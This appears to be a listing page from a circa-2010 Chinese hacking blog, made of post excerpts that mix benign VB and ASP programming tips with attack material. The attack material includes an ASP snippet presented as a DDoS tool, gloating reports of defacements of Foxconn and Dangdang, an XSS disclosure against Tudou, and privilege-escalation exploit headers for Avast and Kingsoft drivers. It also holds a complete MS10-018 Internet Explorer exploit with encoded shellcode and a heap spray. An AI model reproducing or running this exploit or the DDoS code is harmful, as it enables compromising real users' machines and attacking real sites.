用Asp来DDOS 用asp程序来ddos攻击。 <% 'On Error Resume Next Dim Tmp, Atk Atk = 1024 '发包数量 Tmp = String(1024,"A") &
【事件】富士康网站被黑
富士康网站被黑 富士康网站被黑，富士康被黑，foxconn.com被黑，具体为什么我就不说了，大家都知道的。 其实富士康网站很垃圾的， FCKED
【电脑技巧】畸形网址(URL)，会说谎的URL地址
会说谎的URL地址，URL加密，网址加密，畸形网址，畸形URL，16进制URl，10进制URL。 我叫URL，即“Uniform Resource Locato
【VB技巧】截取两个字符串中间的字符
截取两个字符串中间的字符 '如果不存在则清空变量并退出 '在[从(A在S中首次出现的位置)到S结尾的字符串]中截取从A的下一位开始到[从(A在S
【VB技巧】VB URL编码与解码
VB URL编码与解码 网上搜到的基本都有问题，编码不正常。这个是自己修改过的完全正常。 Public Function UrlEncoding(StrX As String) As String 'URL编码 On Error GoTo over Dim i, StrReturn As String, Thischr, Innercode StrReturn = ""
【Asp技巧】ASP查询纯真数据库
调用方法: <!--#include file="scanip.asp"--> <%response.write Look_Ip("124.114.202.74")%> <% Function Look_Ip(IP) Dim Wry, IPType, QQWryVersion, IpCounter Set Wry = New TQQWry IPType = Wry.QQWry(IP) Look_Ip = Wry.Country & " " & Wry.LocalStr End Function Function GetIpInfoAv(IP, sType) Dim Wry, IPType Set Wry = New TQQWry IPType = Wry.QQWry(IP) Select Case sType Case 1 GetIpInfoAv = "document.write(""" & IP & """);" Case 2 GetIpInfoAv = "document.write(""" & Wry.Country &
【漏洞】phpcms2008 sp4暴路径和删除任意文件漏洞
phpcms 暴路径和删除任意文件漏洞 漏洞名称：phpcms 暴路径和删除任意文件漏洞 发布日期：2010-05-24 缺陷版本：phpcms2008sp4_
【Oday】MS IE MS10018 Exploit Published
MS IE MS10018 Exploit Published 传说中这个漏洞一直通杀到IE8（JIT） Title : Microsoft Internet Explorer Code Execution Vulnerabilities (MS10-018) VUPEN ID : VUPEN/ADV-2010-0744 CVE ID : CVE-2010-0267 - CVE-2010-0488 - CVE-2010-0489 - CVE-2010-0490 - CVE-2010-0491 - CVE-2010-0492 - CVE-2010-0494 - CVE-2010-0805 - CVE-2010-0806 - CVE-2010-0807 /*ms10018 Exploit*/ <html><body> <script> var cn = new Array(); var shellcode = unescape( '%uf946%u41fd%u9f4f%uf83f%u4a4e%ufc9b%u9b27%u9f42%u48f5%u4e9b%u46fc%u994f%u4f9f%ufc4f%u9892%u46fc%u99f5%u463f%u9293%u4afc%u4043%ud693%u9242%ud64f%u9643%u484f%u9743%u27f8%u27d6%u4347%u2791%uf948%u4a91%u9b9f%u37fc%u9292%u9648%u374b%u3f2f%u99fd%u9f4a%uf591%u2fd6%u379f%u37d6%u9097%ufc49%ufc46%u923f%u4640%u9ff5%u929b%u4827%u9043%u37f8%uf93f%u9992%u9899%u964a%u9948%u9f98%u9646%u4190%u4797%u4841%u2f9b%u4796%u4742%u2ff5%ufc46%u9b3f%u27f9%uf937%u9348%u414b%ud642%u9827%ufc4b%u9848%u963f%u9349%u2f4f%u4a48%ud693%u49fd%u9191%ud641%u9640%u3f4a%u4137%u474a%u4899%u4f3f%u939b%uf941%u9041%ufc9f%u9693%u4f47%u9392%u274e%uf990%u4af9%u9748%uf547%u4f4f%u489b%u27fc%u9048%ufd3f%u9b97%u49d6%uf99f%u4092%u424f%u4327%u9196%uf52f%u9b41%u4b41%u93f5%uf54a%u2f48%u9048%u9ff9%u9842%u4e41%u90f8%u3f9f%ud64f%ufc3f%u9b27%uf5f5%u4e96%u4049%ud69b%u43f8%u273f%u4f96%ud691%u964b%ufcf9%u4140%u4efc%u2797%uf999%u4743%u3f37%u974a%uf83f%ufc9b%ufc4f%u4a4b%u43d6%u464e%u27d6%ufc98%u93fc%u4696%u9297%u963f%u9299%u4096%u9697%u4227%u9891%uf940%u47f9%u9742%u4b9b%u4247%u484f%u2743%u9b3f%ufd2f%u41f8%uf99b%ud646%u93f8%u9940%ud648%u9290%u4f49%ufc4f%u48f8%u3f98%u9b91%u9f98%u4640%u4348%u462f%ud647%u964e%u9f49%ud69b%u41f9%u4841%u92fc%u4f93%u9b98%u492f%u4093%ufdd6%u9792%u4698%u4347%u9197%u2746%u274b%u4640%u4890%u4b92%u4141%u4e96%u9640%u9646%u4f3f%u41fc%u9892%u3f2f%u9046%u9396%ufc4e%u404a%u9646%u4197%u9091%u93d6%u9796%u4f49%u90f9%u9f48%ufd92%u4e4a%u4697%ufdfd%u4a98%u97f9%u404f%u46fd%u42f5%u4137%u9247%uf941%u4bfd%u9692%u47f5%u9890%u9093%u404f%u9897%u419b%u474f%u4796%u4193%u90fd%u373f%u424e%u4793%u4641%u2796%u4f4b%uf992%u3747%u4a2f%u4b9f%u41fd%u9327%u424f%ufd99%u4b9b%ufc9b%u274a%u3749%u9127%u4e49%uf5fc%u4a27%u3f4b%u272f%u403f%u4198%u4a93%u93fd%u4a4b%u434a%u414e%u3792%ud627%u2797%uf99b%u4141%ufd46%u4f93%u9947%u9397%uf84b%u48f8%u2740%u414b%u989f%u4098%u3748%u4037%uf546%u49fc%u9f4e%u4841%u2792%u9f97%u43fc%u99d6%u9399%u4640%u92f8%u4391%u9f91%u4737%ufd2f%u4690%u274a%u4398%u934a%u9137%u984f%u92fd%u99fd%u402f%uf9f8%u4091%u93f5%u374b%ufd4a%u4047%u924a%u4841%u929f%u4e9b%u9042%u4298%ufc40%uf991%uf898%u9892%u9891%ufcfc%u4237%u4741%u4f90%u939f%u3f98%uf998%u4092%u4092%u4a99%u484f%u993f%u9ffc%u42f8%u2f98%uf59f%u98f5%u9bf9%u922f%u973f%u9241%u964f%u2f37%u982f%u9342%u4e37%u9249%u9b37%u403f%u9146%u482f%u9143%uf947%uf5f8%u9648%u422f%u4749%ud691%ufcd6%u9b4a%u2743%ud69f%u43f5%u4199%u9bf5%u4f4b%u2747%u9341%u4a3f%u9390%u4097%u9249%ud94e%ubac2%u01cf%uba17%u74d9%uf424%uc931%u33b1%u835b%ufceb%u5331%u0315%u1553%uf42d%u7e96%u05e5%u8167%u02f9%u7e11%ud301%uf642%ue2e4%u6c50%u566d%ue665%u5b23%uaa0e%ue8d7%u6362%u59d8%u55c8%u5ad7%u59fc%u99bb%u259e%ucdc1%u1740%u000a%u5080%ueb76%u09d0%u5efd%u3ec5%u6343%u90e4%udbc8%u959e%uaf0e%u9714%u005e%udf22%u2a46%uc06c%uff77%u3c6e%u743e%ub644%u5cc1%u3794%ua0f0%u067b%u2d3d%u4e85%ucef9%ua4f0%u73fa%u7f03%uaf81%u6286%u3b21%u4730%ue8d0%u0ca7%u45de%u4ba3%u58c2%ue060%ud1fe%u2787%ua177%ue3a3%u71dc%ub2cd%ud4b8%ua5f2%u8864%uad56%udd86%uece1%u20cc%u8b63%u23a9%u947b%u4b99%u1f4a%u0b76%uca53%ue333%u5719%u6c15%u0dc4%uf124%ufbf7%u0c6a%u0e74%ueb12%u7b64%ub717%u9722%ua865%u97c6%uc9da%ufbc2%u59bd%ufb8e'); var big = unescape("%u0c0c%u0c0c%u0c0c%u0c0c"); do { big += big } while( big.length < 0x4000 ); for (i = 0; i < 150; i++) cn[i] = big + shellcode; </script> <object classid='clsid:333C7BC4-460F-11D0-BC04-0080C7055A83'> <param name='DataURL' value='http://FIZhqYTkyJeNotW7jWmki7qTSbfsSRFkvvgaaPqnDf4T0e2KPcuqJ5nKeblbmg6qfuQbottEU80XcpiT0Hasu8PzTys7WFPoZLt4u3f0E4RuokYXpgJkJIWmis1RE147NqxinQ6EuTbEfXiyNoA7hYNO5lD3Valc0ICSWz07WMJBjbwxfi12NCAGiIv2j0bCXjit4ob9ZVxuqLoS2EPnwUdIfKDAK5BedMI5rYMtKJENCgBX85fSq8I1LnPdnYrGhFN7y9zqpKvWxmUKfNtNyuFIjs2vUG1e0ROpaWgAghflnK0Yllvl7KWaNVh4M6HCjDNEVJB4oipUTTiIFTxb4KIcle9Q3VOzNiyfZRnvac9VILWaxOcJstGWM5PSwTtIOCilT538prYGEFeQHCNPLDMiNY04NvLrh2XVjT9iOB8Hgf2iPy6I7bEMOFoc2CLC1MbmJwe1YRK06jdCENOiArc9PZ9SzmIhHiwQmNu0IbEaLE3uOQZO0e9c8jCzCSHQ46Aj3NpjMaUJ5uXndoQs29acnR'/> </object> </body></html>
【Exp】Avast! 4.7 aavmker4.sys privilege escalation
#!/usr/bin/python # avast! 4.7 aavmker4.sys privilege escalation # [url]http://www.trapkit.de/advisories/TKADV2008-002.txt[/url] # CVE-2008-1625 # Tested on WindXpSp2/Sp3 Dep ON # Matteo Memelli ryujin __A-T__ offensive-security.com # [url]www.offensive-security.com[/url] # Spaghetti & Pwnsauce - 17/04/2010 # Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0 from ctypes import * import time, struct, sys, thread, os kernel32 = windll.kernel32 Psapi = windll.Psapi def findSysBase(drv): print "(+) Retrieving %s base address..." % drv ARRAY_SIZE
【Exp】微点主动防御本地拒绝服务漏洞
微点主动防御本地拒绝服务漏洞 微点主动防御mp110013.sys <= 1.3.10123.0本地拒绝服务漏洞 产品版本：微点主动防御：mp.100
【Exp】金山网盾内核模式本地提权
金山网盾内核模式本地提权漏洞 2010.4.14.609版本及之前的KAVSafe.sys存在内核本地提权漏洞 下载利用代码(C+) # Title: Kingsoft WebShield KAVSafe.sys <=
【Asp技巧】Asp十六进制与字符串互转
Asp十六进制与字符串互转 Asp中十六进制(Hex)与字符串的互相转换函数，通常在编写进制转换程序用到，非常实用。 十六进制转换为字符串: <% Function
【Asp技巧】ASP递归搜索目录所有文件
ASP递归搜索目录下所有文件,包括子目录 <% 'On Error Resume Next Function BianLi(Path) '遍历递归搜索所有文件 Dim Fso,ObjFolder,ObjFile 'Fso对象,子目录对象,文件对象 Set Fso=Server.CreateObject("scripting.filesystemObject") '创建FSO读写对象 For
【Asp技巧】ASP递归清空目录
可能删不干净版(直接删除子目录，碰到子目录中有畸形目录或只读文件，便会终止)： <% 'On Error Resume Next ClearFile Server.MapPath("") '清空当前目录除自身外所有文件 Function ClearFile(Path) '清空目录所有
【VB技巧】VB控件随窗体高宽度变化
VB控件随窗体高宽度变化 Option Explicit Dim FormOWidth As Long, FormOHeight As Long '窗体原始宽度,原始高度 Private Sub ResizerInit(FormName As Form) '在调用ResizerForm前先调用本函数 On Error Resume Next Dim Obj As Control FormOWidth =
【漏洞公布】土豆网主站跨站漏洞
土豆网主站跨站漏洞 2010年5月23日 03:33:23 测试：仍未修复 2010年5月23日 12:21:24 测试：仍未修复 跨站地址：http://www.tudou.com
【VB技巧】VB检测CPU占用率
VB检测CPU占用率 Option Explicit Private Declare Function NtQuerySystemInformation Lib "ntdll" (ByVal dwInfoType As Long, ByVal lpStructure As Long, ByVal dwSize As Long, ByVal dwReserved As Long) As Long '定义相关的API Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long) Private Const SYSTEM_BASICINFORMATION = 0& '相
【VB技巧】VB中的环境变量
VB中的环境变量Environ ("Windir") 'c:\windows Windows 目录 Environ ("ProgramFiles") 'c:\ProgramFiles 应用程序文件夹 Environ ("UserProfile") 'C:\Documents and Settings\Administrator 用户配置文件目录 Environ ("ALLUSERSPROFILE") '局部 返回所有“用户配置文件”的位置。 Environ ("APPDATA") '局部 返
【事件】当当网被黑 T00ls团队路过
当当网被黑 http://bbs.dangdang.com/attachments/tool.txt http://bbs.dangdang.com/ts.txt 多刷新可看到 Just For Fun By ToolS 2010年5月21日 0:59:25 测试黑页地址有效 留言评论（旧系统）： 【匿名者】 @ 2012-03-28 02:09:01 真的很弱
【视频】喷气发动机爆炸
【视频】喷气发动机卡车
【转载】ECSHOP search.php exp 变种
ECSHOP Search.php exp 变种 以下是原版说明： ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞系统编号: WAVDB-01606 影响版本: ECSHOP All Version（模
【VB技巧】Msgbox 函数详解
Msgbox 函数详解 作用：在对话框中显示消息，等待用户单击按钮，并返回一个 Integer 告诉用户单击哪一个按钮。 语法：MsgBox(prompt[, buttons] [, title] [, helpfile, context]) 参
【VB技巧】Mid 函数详解
Mid 函数详解 mid： 返回 Variant (String)，其中包含字符串中指定数量的字符。 语法 Mid(string, start[, length]) Mid 函数的语法具有下面的命名参数： 部分 &nbs
【VB技巧】Instr 函数详解
Instr 函数详解 instr： 返回 Variant (Long)，指定一字符串在另一字符串中最先出现的位置。 语法 InStr([start, ]string1, string2[, compare]) InStr 函数的语法具有下面的参数： 部分
【VB技巧】BlockInput屏蔽/锁定鼠标键盘函数
BlockInput屏蔽/锁定鼠标键盘函数 BlockInput 开启或关闭用户通过鼠标和键盘与计算机交互的能力。 Private Declare Function BlockInput Lib "user32" (ByVal fEnable As Long) As Long Private Sub Command1_Click() BlockInput (5) '锁定 End Sub Private Sub
【VB技巧】VB纯手工Link/链接编译
VB纯手工Link/链接编译 这些其实VB6.0 IDE把这些功能屏蔽了，不让用户使用。 具体为啥，不知道 实际上vb6.0 link.exe和vc+
【VB技巧】VB十进制八进制十六进制二进制转换
------------------------------------------------- VB 自带函数： 十进制转八进制：Oct(num) 十六进制转八进制：oct("&H" & num) 十进制转十六进制：hex(num) 八进制转十六进
【VB知识】VB KeyCode 常数表
VB KeyCode 常数表 常数 值 描述 vbKeyLButton 0x1 鼠标左键 vbKeyRButton 0x2 鼠标右键 vbKeyCancel 0x3 CANCEL 键 vbKeyMButton 0x4 鼠标中键 vbKeyBack 0x8 BACKSPACE 键 vbKeyTab 0x9 TAB 键 vbKeyClear 0xC CLEAR 键 vbKeyReturn 0xD ENTER 键 vbKeyShift 0x10 SHIFT 键 vbKeyControl 0x11 CTRL 键 vbKeyMenu 0x12 MENU 键 vbKeyPause 0x13 PAUSE 键 vbKeyCapital 0x14 CAPS LOCK 键
【VB技巧】Option Explicit 语句详解
Option Explicit Option Explicit 语句 在模块级别中使用，强制显式声明模块中的所有变量。 语法：Option Explicit 说明：如果使用，Option Explicit 语句必须写在模块的所有过程